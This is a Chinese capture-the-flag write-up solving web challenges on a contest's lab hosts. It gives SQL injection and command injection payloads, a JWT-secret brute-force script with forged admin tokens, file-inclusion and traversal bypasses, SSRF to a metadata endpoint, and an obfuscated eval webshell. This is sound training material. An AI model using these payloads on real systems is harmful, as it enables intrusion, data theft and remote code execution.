polar春季赛web题目

1.sql_search

随机搜索的时候

对于sql可以先测试先测试

1 and 1=1#,1 and 1=2#。

1' and '1'='1# 1' and '1'='2#

1" and "1"="1# 1" and "1"="2# 看页面有没有变化

发现都没有变化

' or '1'='1#或者是' or '1'='1--+都能得到页面(这个是因为我让他永远为真,那么所有的信息都会出现)

1. 确定列数(order by)奇怪的是这后面只有--+来注释,反正就是多试试

复制代码
' order by 1#
' order by 2#
' order by 3#

一直增加数字,直到页面返回"未找到相关内容"(或报错),最后一个有效数字就是列数。

最后发现是3

2. 联合查询(union select)

假设列数为 N:

复制代码
' union select 1,2,3,...,N#

217d035c-7d95-4179-a5b7-9add953fc7eb.www.polarctf.com:8090/?search='+union+select+1%2C2%2C3--%2B

观察页面哪个位置显示了数字(1,2,3等),那就是数据回显点。

3. 提取数据库信息

复制代码
' union select database(),2,3,...,N#
' union select user(),2,3,...,N#
' union select version(),2,3,...,N#

执行 ' union select 1,version(),3-- 返回"未找到相关内容",这进一步确认了 数据库不是 MySQL (因为 MySQL 的 version() 函数会返回版本号,若能显示则说明是 MySQL)。

再去尝试看看他是什么类型的数据库

' union select 1,sqlite_version(),3--

' union select 1,sqlite_version(),3-- 返回了 3.28.0,并且页面同时显示了新闻列表,这说明:

  1. 数据库确认是 SQLite 3.28.0

  2. 联合查询可以正常回显(版本号显示在结果中)

4. 获取表名

复制代码
mysql:' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#

sqlite:' union select 1,group_concat(name),3 from sqlite_master where type='table'--

5. 获取列名

复制代码
mysql:' union select group_concat(column_name),2,3 from information_schema.columns where table_name='表名'#

sqlite:' union select 1,sql,3 from sqlite_master where name='flaggggggggggg'--

6. 获取数据

复制代码
mysql:' union select group_concat(列名),2,3 from 表名#

sqlite:' union select 1,flag,3 from flaggggggggggg--

flag{mdw736134659adi9203hjcbos}

总结:

步骤 目的 Payload 示例
1 确认注入点 ' or '1'='1#
2 确定列数 ' order by 3--+
3 确认回显位置 ' union select 1,2,3--+
4 确认数据库类型 ' union select 1,sqlite_version(),3--+
5 获取表名 ' union select 1,group_concat(name),3 from sqlite_master where type='table'--+
6 获取表结构 ' union select 1,sql,3 from sqlite_master where name='flaggggggggggg'--+
7 提取数据 ' union select 1,flag,3 from flaggggggggggg--+
Payload 闭合方式 逻辑 预期效果 本题结果
1' and '1'='1--+ 单引号闭合 and 永真 应返回与 1 相同的结果 ❌ 无变化(and 被过滤)
1' or '1'='1--+ 单引号闭合 or 永真 返回所有数据 ✅ 返回所有新闻
' and '1'='1--+ 空字符串闭合 and 永真 若原查询为空则无结果 ❌ 无变化
' or '1'='1--+ 空字符串闭合 or 永真 返回所有数据 ✅ 返回所有新闻

con2. The_Gift

其实上面的代码并不是很重要,直接看if条件,看$config这个是不是数组然后包不包含这个isAdmin然后保证isAdmin是true就行

最后的payload:config[isAdmin]=true

得到**Successflag{0538dfd69d21172b128c29d536b9b31a}**

3. 并发上传

直接上传图片码试试发现都不行

但是看到题目写的是并发上传

并发上传就大概是条件竞争

  1. 接收上传的文件

  2. 检查文件是否合法(后缀、内容等)

  3. 如果合法,保存文件;如果不合法,删除文件

如果在第2步检查通过后第3步删除非法文件前,攻击者能访问到这个文件,就可以成功上传Webshell。

这个直接用bp多传就应该能行了

使用Burp Suite并发发送

  1. 拦截上传请求,发送到Intruder

  2. 设置多个线程同时发送同一个文件上传请求

抓包upload和upload/1.php这两个包然后来

最后蚁剑访问得到flag{96b9ff74b5fd9377f7c4abfdf557fd1a}

4. 杰尼龟系统

ping命令执行

先去试试读出这个flag文件发现不行

然后尝试ls列出

然后127.0.0.1|ls -la /得到一个假的flag

然后使用find命令127.0.0.1|find / -name "flag*" -type f 2>/dev/null

得到flag:flag{459fc13bc7e1265b410fa7eb9e87a63e}

5. Signed_Too_Weak

使用用户名和密码直接登录他说Welcome, user!当前为普通用户权限。

那肯定要升级权限了

http://370af2c1-b123-455a-9194-1ccb9c1d19fd.www.polarctf.com:8090/index.php?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQzNTI4MTQsImV4cCI6MTc3NDM1NjQxNH0.PgMPHP5UM-8gsgqVwSECXaVByaioXmckyPLudb2-MVI

从网站这里看就知道是key 参数是一个 JWT(JSON Web Token),分为三部分,每部分用点 . 分隔。

然后使用在线的json网站

修改成admin试试

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzc0MzUyODE0LCJleHAiOjE3NzQzNTY0MTR9.CLPgwqeXCT58_iDYjSD77giVv74uYVaWdHOyxwDl78I

页面得到Invalid token: Bad signature five lowercase letters(密钥是 5个小写字母)

直接让ai给你写个脚本跑一下

import base64

import hashlib

import hmac

import itertools

import string

def verify_signature(token, secret):

header_b64, payload_b64, signature_b64 = token.split('.')

message = f"{header_b64}.{payload_b64}".encode()

expected_sig = hmac.new(secret.encode(), message, hashlib.sha256).digest()

expected_b64 = base64.urlsafe_b64encode(expected_sig).decode().rstrip('=')

return expected_b64 == signature_b64

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQzNTI4MTQsImV4cCI6MTc3NDM1NjQxNH0.PgMPHP5UM-8gsgqVwSECXaVByaioXmckyPLudb2-MVI"

生成所有 5 个小写字母的组合

for combo in itertools.product(string.ascii_lowercase, repeat=5):

secret = ''.join(combo)

if verify_signature(token, secret):

print(f"[+] Found secret: {secret}")

break

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzc0MzUyODE0LCJleHAiOjE3NzQzNTY0MTR9.YlVsOBrDKen7FB1I_S7kH469U_mwGnNLB0a9Zp59ZWE

6. Pandora_Box

直接上传图片码试试

发现图片码也不行

尝试读取index

http://5691d5a5-2c96-4a3c-a461-21e2da46a1e5.www.polarctf.com:8090/index.php?file=php://filter/convert.base64-encode/resource=index

得到了这个的关键代码

// 上传部分:只允许 .jpg 或 .png

if (in_array($ext, ['jpg', 'png'])) {

new_name = upload_dir . md5(uniqid()) . "." . $ext;

// 上传后文件名:upload/[md5].jpg 或 upload/[md5].png

}

// 包含部分:强制加 .php 后缀

if (isset($_GET['file'])) {

file = _GET['file'];

include($file . '.php'); // 关键漏洞点

}

这就解释了为啥我图片上传不成功

在网上查找了资料然后发现有使用zip然后改成jpg形式最后用zip方式读出

http://5691d5a5-2c96-4a3c-a461-21e2da46a1e5.www.polarctf.com:8090/index.php?file=zip://upload/4c5023c3dffd6dff8f36ee015961cebb.jpg%231

最后连接后台得到flag

flag{47ea7bc31157e1a1a6ca01e26163b726}

7. static

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);

function hard_filter(&$file) {
$ban_extend = array("php://", "zip://", "data://", "%2f", "%00", "\\");
foreach ($ban_extend as $ban) {
if (stristr($file, $ban)) {
return false;
}
}

$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");
foreach ($ban_keywords as $keyword) {
if (stristr($file, $keyword)) {
$count = 0;
$file = str_replace($keyword, "", $file, $count);
break;
}
}

$file = rtrim($file, '/');
if (strpos($file, "static/") !== 0) {
return false;
}

return true;
}

$file = $_GET['file'] ?? '';
if (!hard_filter($file)) {
die("Illegal request!");
}

$real_file = $file . ".php";
$real_path = realpath($real_file) ?: $real_file;

echo "<br>=== 调试信息 ===<br>";
echo "1. 原始输入: " . htmlspecialchars($_GET['file'] ?? '') . "<br>";
echo "2. 过滤后file: " . htmlspecialchars($file) . "<br>";
echo "3. 拼接后的路径: " . htmlspecialchars($real_file) . "<br>";
echo "4. 真实解析路径: " . htmlspecialchars($real_path) . "<br>";
echo "5. 文件是否存在: " . (file_exists($real_path) ? "是" : "否") . "<br>";

if (file_exists($real_path)) {
echo "6. 正在包含文件...<br>";
ob_start();
include($real_path);
$content = ob_get_clean();
echo "7. 文件内容: " . htmlspecialchars($content) . "<br>";
} else {
echo "6. 错误:文件不存在!<br>";
}
?>

Illegal request!

代码审计:

1. 过滤函数 hard_filter()

这个函数对用户输入的 $file 进行两层过滤:

第一层:危险协议/字符过滤

复制代码
$ban_extend = array("php://", "zip://", "data://", "%2f", "%00", "\\");

阻止使用:

  • 伪协议(php://zip://data://

  • URL 编码的斜杠(%2f

  • 空字节(%00

  • 反斜杠(\\

第二层:危险关键词过滤

复制代码
$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");

如果发现这些关键词,会只移除第一个匹配的关键词一次 (注意 break 只执行一次替换),然后继续。

第三层:路径前缀检查

复制代码
if (strpos($file, "static/") !== 0) {
    return false;
}

确保 $file 必须以 "static/" 开头。

2. 文件包含逻辑

复制代码
$real_file = $file . ".php";  // 强制添加 .php 后缀
$real_path = realpath($real_file) ?: $real_file;
include($real_path);

http://980030d2-519e-44d7-aa3c-ef409cc46fd4.www.polarctf.com:8090/?file=static/test

$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");

尝试http://980030d2-519e-44d7-aa3c-ef409cc46fd4.www.polarctf.com:8090/?file=static/..././flag

  1. 文件内容: flag{030e77f73a4cb26a111daf0470c3956f}

8. 云中来信

从这个输入一个 URL,服务器会代你请求并返回部分内容。从这个题目就大概知道是ssrf漏洞了

SSRF(服务器端请求伪造) 漏洞

对于这个漏洞一般是对于内网的探侦和云数据的得到

内网探测

攻击者可以尝试访问:

内网服务:http://127.0.0.1:8080, http://localhost:3306

云元数据:http://169.254.169.254, http://metadata.google.internal

内部 API:http://preview.polar/internal/admin

文件协议:file:///etc/passwd(如果后端支持)

先去测试内网服务来尝试ssrf绕过(利用特殊符号)

复制代码
http://preview.polar@127.0.0.1

后面也没啥思路了就去网上搜,得到一个比较有用的信息

然后尝试访问这个路径之前还要去测试端口

然后去访问http://preview.polar@127.0.0.1:80/latest/meta-data

复制代码
需要有效的元数据令牌。请先访问 /latest/api/token 获取token,并在请求头 X-IMDS-Token 中携带。

得到{"token": "aa647d21aa5c36619106b081667755df", "header": "X-IMDS-Token", "ttl": 21600}

然后再去访问NEXT=/latest/meta-data/ctf/241c37ad0ef65972f882

http://preview.polar@127.0.0.1:80/latest/meta-data/ctf/241c37ad0ef65972f882

得到flag:flag{62b08b6daed71ed85c0655abe1ea8cd2}

9.GET

dir扫描得到robot.txt然后进去就说If it won't open, maybe try including each other and see.

意思是**"如果它打不开,也许试试把彼此包括进来看看。"**

抓包说禁止上传普通PHP后缀文件!,在尝试上传图片码。或者直接修改这个文件后缀和type

然后文件包含恶意特征:<span class="highlight">$_POST['pass']说明不能使用这种格式

我想去base64编码一下看看是否可以上传

文件上传成功,保存路径:<span class="highlight">./upload/1394734cd17fa308c427a22c49d8d92a.jpg发现是正常的图片

我看网上的人这么做的

<?php func = chr(101).chr(118).chr(97).chr(108); // eval code = chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(112).chr(97).chr(115).chr(115).chr(39).chr(93); // _POST\['pass'\] @func($code); ?>

利用ascil编码其实跟我想的base64差不多,但是他就能查找最后的flag文件

0095c0930065b64d547f9794abac00ab.php和6a2139364f96787c8ce1bbb0070b898c.php

最后利用文件包含得到flag

flag{73121d2832f501293a2e661c4d3a082f}

10. coke的粉丝团

直接注册还说啥

这里有得到flag的要求:

Coke老师的话:

欢迎大家来到我的粉丝团!🎉 在这里,你可以通过购买粉丝灯牌来支持我!

💡 **小提示:**想要获取flag,请加入我的粉丝团,粉丝灯牌达到10级就会给你flag!

🎯 **注意:**灯牌等级覆盖规则:比如你现在1级买了4级灯牌就变成4级,你现在5级买了2级灯牌就变成2级。

说明10级就行就去购买灯牌最后发现在52页就有10级的灯牌

但是钻石却差的很多,看看前端能不能改然后bp抓包看看能不能去修改一下数据

最后进去了还有要求只有admin才能查看此页面!当前用户: 1

再去修改权限eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.cNBJlyfi3M1uN6ds-teR-W_6xicTd8upxcjhz8FQpZk

这个改成了但是签名错误还有个密钥我猜是coke然后就得到

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.nOLz_J3G5VDs3zimRc_EJzRnYxFbWbJkR3SHADwHmhg

最后得到了flag:flag{the_cat_is_coke}

11.狗黑子最后的起舞

12. 新年贺卡

13.The gift

就是上面那个,可能服务器没开吧,白嫖就行

flag{0538dfd69d21172b128c29d536b9b31a}

相关推荐
SuperEugene2 小时前
Axios 统一封装实战:拦截器配置 + baseURL 优化 + 接口规范,避坑重复代码|API 与异步请求规范篇
前端·javascript·vue.js·前端框架·axios
Alan Lu Pop2 小时前
Figma 配置
前端·ai编程·cursor
Moment2 小时前
手把手搭一套前端监控采集 SDK
前端·javascript·面试
华洛2 小时前
实战指南:企业如何选择AI需求的落地技术方案
前端·产品经理·产品
莫爷2 小时前
JSON vs XML vs YAML 深度对比:如何选择合适的数据格式?
xml·前端·json
We་ct2 小时前
LeetCode 33. 搜索旋转排序数组:O(log n)二分查找
前端·算法·leetcode·typescript·个人开发·二分·数组
华仔啊2 小时前
前端不懂 Java?后端怕 CSS?这套AI全栈方案专治各种偏科
java·前端·后端
木斯佳2 小时前
前端八股文面经大全:得物AI应用开发一面(2026-03-23)·面经深度解析【加精】
前端·人工智能·ai·markdown·chat·rag
无巧不成书02184 小时前
Windows PowerShell执行策略详解:从npm报错到完美解决
前端·windows·npm·powershell执行策略·执行策略·npm.ps1·脚本报错